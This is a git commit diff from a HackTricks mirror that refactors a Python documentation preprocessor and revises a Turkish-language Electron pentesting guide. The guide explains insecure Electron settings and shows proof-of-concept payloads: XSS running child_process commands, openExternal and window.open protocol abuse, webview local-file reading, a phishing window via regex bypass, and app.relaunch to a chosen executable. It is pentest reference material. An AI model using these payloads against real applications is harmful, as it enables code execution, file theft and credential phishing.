mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
b34bcaa14e
commit
bc7f9b334b
1
.gitignore
vendored
1
.gitignore
vendored
@ -10,3 +10,4 @@ scripts/*
|
||||
book
|
||||
book/*
|
||||
hacktricks-preprocessor.log
|
||||
hacktricks-preprocessor-error.log
|
||||
|
@ -7,7 +7,14 @@ from os import path
|
||||
from urllib.request import urlopen, Request
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
logging.basicConfig(filename='hacktricks-preprocessor.log', filemode='w', encoding='utf-8', level=logging.DEBUG)
|
||||
logger.setLevel(logging.DEBUG)
|
||||
handler = logging.FileHandler(filename='hacktricks-preprocessor.log', mode='w', encoding='utf-8')
|
||||
handler.setLevel(logging.DEBUG)
|
||||
logger.addHandler(handler)
|
||||
|
||||
handler2 = logging.FileHandler(filename='hacktricks-preprocessor-error.log', mode='w', encoding='utf-8')
|
||||
handler2.setLevel(logging.ERROR)
|
||||
logger.addHandler(handler2)
|
||||
|
||||
|
||||
def findtitle(search ,obj, key, path=(),):
|
||||
@ -27,7 +34,7 @@ def findtitle(search ,obj, key, path=(),):
|
||||
|
||||
|
||||
def ref(matchobj):
|
||||
logger.debug(f'Match: {matchobj.groups(0)[0].strip()}')
|
||||
logger.debug(f'Ref match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = href
|
||||
if href.startswith("http://") or href.startswith("https://"):
|
||||
@ -45,19 +52,29 @@ def ref(matchobj):
|
||||
try:
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
except Exception as e:
|
||||
try:
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
except Exception as e:
|
||||
logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
||||
print(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
||||
logger.debug(e)
|
||||
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
@ -69,6 +86,7 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
@ -76,19 +94,19 @@ def files(matchobj):
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
logger.debug(root)
|
||||
logger.debug(files)
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
logger.error(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
logger.error(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
@ -97,6 +115,7 @@ def files(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||
@ -126,15 +145,15 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n#]*(?:#(.*))?)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = re.sub(regex, files, new_content)
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
|
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
**renderer process** ayarları **main process** içinde main.js dosyasında **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını **önlemesine** yardımcı olacaktır.
|
||||
**renderer process** ayarları **main.js** dosyası içinde **main process**'te **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru bir şekilde yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını **önlemesine** yardımcı olacaktır.
|
||||
|
||||
Electron uygulaması, Node apileri aracılığıyla **cihazı erişebilir**, ancak bunu önlemek için yapılandırılabilir:
|
||||
|
||||
- **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir.
|
||||
- **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, ana ve renderer süreçleri izole edilmez.
|
||||
- **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, main ve renderer süreçleri izole edilmez.
|
||||
- **`preload`** - varsayılan olarak boştur.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar.
|
||||
- Workers'da Node Entegrasyonu
|
||||
- **`nodeIntegrationInSubframes`** - varsayılan olarak kapalıdır.
|
||||
- Eğer **`nodeIntegration`** **etkinse**, bu, Electron uygulaması içindeki iframe'lerde **yüklenen web sayfalarında** **Node.js API'lerinin** kullanılmasına izin verir.
|
||||
- Eğer **`nodeIntegration`** **devre dışı bırakılmışsa**, o zaman ön yüklemeler iframe içinde yüklenecektir.
|
||||
- Eğer **`nodeIntegration`** **etkinleştirilirse**, bu, Electron uygulaması içinde **iframe'lerde** yüklü web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir.
|
||||
- Eğer **`nodeIntegration`** **devre dışı bırakılırsa**, o zaman preloads iframe içinde yüklenecektir.
|
||||
|
||||
Yapılandırma örneği:
|
||||
```javascript
|
||||
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Trafiği Yakala
|
||||
|
||||
Başlangıç-ana yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanın:
|
||||
Başlatma ana yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanın:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Yerel Kod Enjeksiyonu
|
||||
|
||||
Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodunu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin:
|
||||
Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Bu ayarda belirtilen script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişimi vardır**:
|
||||
Bu ayarda belirtilen script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişime sahiptir**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -152,7 +152,7 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
_**contextIsolation**_ , **web sayfası scriptleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin diğerini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
|
||||
_**contextIsolation**_, **web sayfası scriptleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin diğerini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
|
||||
|
||||
Eğer bağlamlar izole edilmemişse, bir saldırgan:
|
||||
|
||||
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Tıklama olayını atlatma
|
||||
|
||||
Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları **normal sol tıklama yerine orta tıklama yaparak** atlatabilirsiniz.
|
||||
Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları **normal bir sol tıklama yerine orta tıklama yaparak** atlatabilirsiniz.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
@ -192,7 +192,7 @@ Bir kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler aç
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Bu dinleyiciler, **masaüstü uygulaması tarafından** kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır.
|
||||
Bu dinleyiciler **masaüstü uygulaması tarafından geçersiz kılınır** ve kendi **iş mantığını** uygular. Uygulama, yönlendirilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır.
|
||||
|
||||
**İşte basitleştirilmiş bir pseudocode:**
|
||||
|
||||
@ -200,9 +200,11 @@ Bu dinleyiciler, **masaüstü uygulaması tarafından** kendi **iş mantığın
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriği kabul etmemeyi önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak bu güvenlik açığını istismar edebilecek Windows protokol örneklerini içermektedir.
|
||||
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriği kabul etmemeyi önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak Windows protokol örneklerini içermektedir ve bu açığı istismar edebilir.
|
||||
|
||||
**Windows protokol istismarına örnekler şunlardır:**
|
||||
macOS'ta, `openExternal` fonksiyonu, `shell.openExternal('file:///System/Applications/Calculator.app')` gibi rastgele komutlar çalıştırmak için istismar edilebilir.
|
||||
|
||||
**Windows protokol istismarlarına örnekler şunlardır:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -224,11 +226,11 @@ window.open(
|
||||
```
|
||||
## İç Dosyaları Okuma: XSS + contextIsolation
|
||||
|
||||
**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışarı aktarmak için `<webview>` etiketlerinin kullanılmasını sağlar**, `<iframe>`'e benzer. Sağlanan bir örnek, bu açığı kullanarak iç dosyaların içeriğini okuma yöntemini göstermektedir:
|
||||
**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışa aktarmak için `<webview>` etiketlerinin kullanılmasına olanak tanır**, `<iframe>`'e benzer. Sağlanan bir örnek, bu güvenlik açığını kullanarak iç dosyaların içeriğini okuma yöntemini göstermektedir:
|
||||
|
||||
.png>)
|
||||
|
||||
Ayrıca, **bir iç dosyayı okuma** için başka bir yöntem paylaşılmakta, bir Electron masaüstü uygulamasındaki kritik bir yerel dosya okuma açığını vurgulamaktadır. Bu, uygulamayı istismar etmek ve verileri dışarı aktarmak için bir script enjekte etmeyi içerir:
|
||||
Ayrıca, **bir iç dosyayı okuma** için başka bir yöntem paylaşılmakta, bir Electron masaüstü uygulamasındaki kritik bir yerel dosya okuma güvenlik açığını vurgulamaktadır. Bu, uygulamayı istismar etmek ve verileri dışa aktarmak için bir script enjekte etmeyi içermektedir:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -247,7 +249,7 @@ frames[0].document.body.innerText
|
||||
## **RCE: XSS + Eski Chromium**
|
||||
|
||||
Eğer uygulamanın kullandığı **chromium** **eski** ise ve üzerinde **bilinen** **zafiyetler** varsa, **bunu istismar etmek ve XSS aracılığıyla RCE elde etmek** mümkün olabilir.\
|
||||
Bir örneği bu **yazıda** görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Bununla ilgili bir örneği bu **yazıda** görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing İçin Dahili URL regex atlatma**
|
||||
|
||||
@ -258,24 +260,112 @@ Bir XSS bulduğunuzu varsayalım ama **RCE'yi tetikleyemiyorsanız veya dahili d
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`** çağrısı, **bağlantının** platforma ait bir bağlantı olup olmadığına göre **masaüstü penceresinde** **açılacağını** veya **tarayıcıda 3. parti bir kaynak olarak** **açılacağını** belirleyecektir.
|
||||
**`openInternally`** çağrısı, **bağlantının** platforma ait bir bağlantı olup olmadığına göre **masaüstü penceresinde** **açılıp açılmayacağına** veya **üçüncü taraf bir kaynak** olarak **tarayıcıda** açılıp açılmayacağına karar verecektir.
|
||||
|
||||
Fonksiyonun kullandığı **regex** **bypass'lere** karşı **zayıfsa** (örneğin **alt alan adlarının noktalarını kaçırmıyorsa**) bir saldırgan, XSS'i kötüye kullanarak **saldırganın altyapısında bulunan** yeni bir pencere **açabilir** ve kullanıcıdan **kimlik bilgileri** isteyebilir:
|
||||
Eğer fonksiyon tarafından kullanılan **regex** **bypass'lere** karşı **zayıfsa** (örneğin, **alt alan adlarının noktalarını kaçırmıyorsa**) bir saldırgan, XSS'i kötüye kullanarak **kullanıcıdan kimlik bilgileri** talep eden **yeni bir pencere açabilir**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## **Araçlar**
|
||||
## Remote modülü
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-paterni tanımlamak için bir araçtır.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) güvenlik açığı olan üçüncü taraf kütüphaneleri kontrol etmek için
|
||||
- [**Electro.ng**](https://electro.ng/): Satın almanız gerekiyor
|
||||
Electron Remote modülü, **renderer süreçlerinin ana süreç API'lerine erişmesine** olanak tanır ve bir Electron uygulaması içinde iletişimi kolaylaştırır. Ancak, bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişleterek, onu cross-site scripting (XSS) saldırıları gibi zafiyetlere daha duyarlı hale getirir.
|
||||
|
||||
## Laboratuvarlar
|
||||
> [!TIP]
|
||||
> **remote** modülü ana süreçten renderer süreçlerine bazı API'leri açsa da, yalnızca bileşenleri kötüye kullanarak RCE elde etmek kolay değildir. Ancak, bileşenler hassas bilgileri açığa çıkarabilir.
|
||||
|
||||
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) adresinde güvenlik açığı olan Electron uygulamalarını istismar etmek için bir laboratuvar bulabilirsiniz.
|
||||
> [!WARNING]
|
||||
> Hala remote modülünü kullanan birçok uygulama, renderer sürecinde **NodeIntegration'ın etkinleştirilmesini gerektirir**, bu da **büyük bir güvenlik riski** oluşturur.
|
||||
|
||||
Electron 14'ten itibaren, Electron'un `remote` modülü güvenlik ve performans nedenleriyle birkaç adımda etkinleştirilebilir, bu nedenle **kullanılmaması önerilir**.
|
||||
|
||||
Etkinleştirmek için, önce **ana süreçte etkinleştirilmesi gerekir**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
[...]
|
||||
function createMainWindow() {
|
||||
mainWindow = new BrowserWindow({
|
||||
[...]
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Sonra, render işlemi modülden nesneleri şu şekilde içe aktarabilir:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, uzaktan modülden **`app`** nesnesi tarafından sunulan bazı ilginç **fonksiyonları** belirtmektedir:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- Mevcut örneği **kapatarak** uygulamayı **yeniden başlatır** ve yeni bir tane **başlatır**. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için faydalıdır.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Uygulama günlükleri** depolamak için bir dizin **tanımlar** veya **oluşturur**. Günlükler **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **alınabilir** veya **değiştirilebilir**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- Mevcut çalıştırılabilir dosyayı belirtilen **protokol** için **varsayılan işleyici** olarak **kaydeder**. Gerekirse **özel bir yol** ve **argümanlar** sağlayabilirsiniz.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Jump List** (Windows'ta) içindeki **Görevler kategorisine** görevler **ekler**. Her görev, uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçeceğini kontrol edebilir.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- Sistemin **sertifika deposuna** bir **PKCS#12 sertifikası** **ithal eder** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- Uygulamayı **Uygulamalar klasörüne** **taşır** (macOS'ta). Mac kullanıcıları için **standart bir kurulum** sağlamaya yardımcı olur.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Windows** üzerinde **özel bir Jump List** **ayarlar** veya **kaldırır**. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Girişte** hangi **çalıştırılabilir dosyaların** **başlatılacağını** ve bunların **seçeneklerini** **ayarlar** (sadece macOS ve Windows).
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences modülü
|
||||
|
||||
Electron'da sistem tercihlerine erişmek ve sistem olaylarını yaymak için **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemler bu modülün **bir parçasıdır**.
|
||||
|
||||
**Örnek kullanım:**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
// Subscribe to a specific notification
|
||||
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
|
||||
console.log('Received custom notification:', userInfo);
|
||||
});
|
||||
|
||||
// Get a user default key from macOS
|
||||
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
|
||||
console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Yerel macOS bildirimlerini** dinler, NSDistributedNotificationCenter kullanarak.
|
||||
* **macOS Catalina'dan** önce, CFNotificationCenterAddObserver'a **nil** geçirerek **tüm** dağıtılmış bildirimleri dinleyebilirdiniz.
|
||||
* **Catalina / Big Sur'dan** sonra, sandboxed uygulamalar hala **birçok olaya** (örneğin, **ekran kilitlenmeleri/açılmaları**, **ses montajları**, **ağ etkinliği** vb.) **isimle** bildirim kaydederek **abone** olabilir.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **NSUserDefaults** ile **arayüz** sağlar, bu da macOS'ta **uygulama** veya **küresel** tercihleri saklar.
|
||||
|
||||
* **getUserDefault**, **son dosya konumları** veya **kullanıcının coğrafi konumu** gibi hassas bilgileri **alabilir**.
|
||||
|
||||
* **setUserDefault**, bu tercihleri **değiştirebilir**, bu da bir uygulamanın **konfigürasyonunu** etkileyebilir.
|
||||
|
||||
* **Eski Electron sürümlerinde** (v8.3.0'dan önce), yalnızca NSUserDefaults'un **standart kümesi** **erişilebilir** idi.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Bu fonksiyon, verilen dosyayı bir dosya yöneticisinde gösterir, bu da **dosyanın otomatik olarak çalıştırılmasına** neden olabilir.
|
||||
|
||||
Daha fazla bilgi için [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) adresine bakın.
|
||||
|
||||
## **Tools**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity), Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-paternlerini tanımlamak için bir araçtır.
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint), Electronegativity kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan), savunmasız üçüncü taraf kütüphaneleri kontrol etmek için.
|
||||
- [**Electro.ng**](https://electro.ng/): Satın almanız gerekiyor.
|
||||
|
||||
## Labs
|
||||
|
||||
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) adresinde savunmasız Electron uygulamalarını istismar etmek için bir laboratuvar bulabilirsiniz.
|
||||
|
||||
Laboratuvarda size yardımcı olacak bazı komutlar:
|
||||
```bash
|
||||
@ -309,5 +399,6 @@ npm start
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Electron güvenliği hakkında daha fazla araştırma ve yazı için [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user